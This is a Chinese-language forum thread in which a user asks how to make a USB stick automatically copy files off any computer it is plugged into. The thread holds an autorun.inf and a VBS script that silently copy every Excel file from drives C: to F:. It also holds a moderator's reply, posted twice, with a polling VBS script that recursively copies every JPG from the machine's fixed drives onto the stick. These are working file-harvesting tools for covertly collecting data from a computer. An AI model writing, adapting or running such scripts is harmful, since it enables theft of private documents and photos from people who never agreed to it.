[问题求助] VBS怎样实现U盘插入电脑上自动复制电脑上的EXCEL文件？

lyzhangzj

按以下代码会出现，只复制U盘里所有XLS格式的文件，怎么修改能搜索电脑的C:,D:,E:,F:上所有XLS格式的文件。多谢。

以下是autorun.inf文件的代码：

[autorun]
open=wscript.exe CopyExcelFile.vbs
shell\open=打开(&O)
shell\open\command=wscript.exe CopyExcelFile.vbsCOPY

以下是GetExcelFile.vbs文件的代码：

set ws=createobject("wscript.shell")
ws.run "explorer ..\"
ws.run "cmd /c md GetExcelFile",0,true
ws.run "cmd /c for /r C:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
ws.run "cmd /c for /r D:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
ws.run "cmd /c for /r E:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
ws.run "cmd /c for /r F:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,trueCOPY

broly

貌似我以前写过了，你在论坛搜索看看

lyzhangzj

回复 2# broly

多谢，我找找看。

broly

看看这个

http://bbs.bathome.net/redirect. ... 3&fromuid=25503

lyzhangzj

高手，还是不行啊，能否再给写一个代码，多谢啦。

broly

你描述都不清楚叫我怎么写？

“U盘插入电脑上自动复制电脑上的EXCEL文件的VBS脚本”

就是复制？从哪里复制到哪里？

lyzhangzj

喔，不好意思，我是想U盘插入电脑之后，自动复制电脑C:\,D:\,E:\所有的JPG格式的文件到U盘里。多谢啦。高手。

Demon

先把你的语文学好

lyzhangzj

呵呵，没有表达清楚。

lyzhangzj

版主，这个代码写起来难度大吗？多谢帮忙啊！

broly

中午没有时间写，现在才有空。

Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\"
      U = True
    End if
  Next
  If U = True Then
  	  MsgBox "复制中...请稍后..."
  	  For Each Disk In Disks 
    	If Disk.IsReady And Disk.DriveType = 2 Then 
			CopyJpgs(Disk.DriveLetter & ":\")
    	End if
  	  Next
  	  MsgBox "Succeed."
  Else
    If n=1 Then 
      Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop
 
Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
    If fso.GetExtensionName(File.path)="jpg" Then
      fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
    End if
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End SubCOPY

broly

中午没有时间写，现在才有空。

Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\"
      U = True
    End if
  Next
  If U = True Then
  	  MsgBox "复制中...请稍后..."
  	  For Each Disk In Disks 
    	If Disk.IsReady And Disk.DriveType = 2 Then 
			CopyJpgs(Disk.DriveLetter & ":\")
    	End if
  	  Next
  	  MsgBox "Succeed."
  Else
    If n=1 Then 
      Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop
 
Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
    If fso.GetExtensionName(File.path)="jpg" Then
      fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
    End if
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End SubCOPY

lyzhangzj

版主真是好人啊，多谢了，这个要在U盘上建立个文件吗？这个是后台自动运行是吧！

broly

不用，直接复制到U盘的

lyzhangzj

直接建立TXT文件，复制到U盘。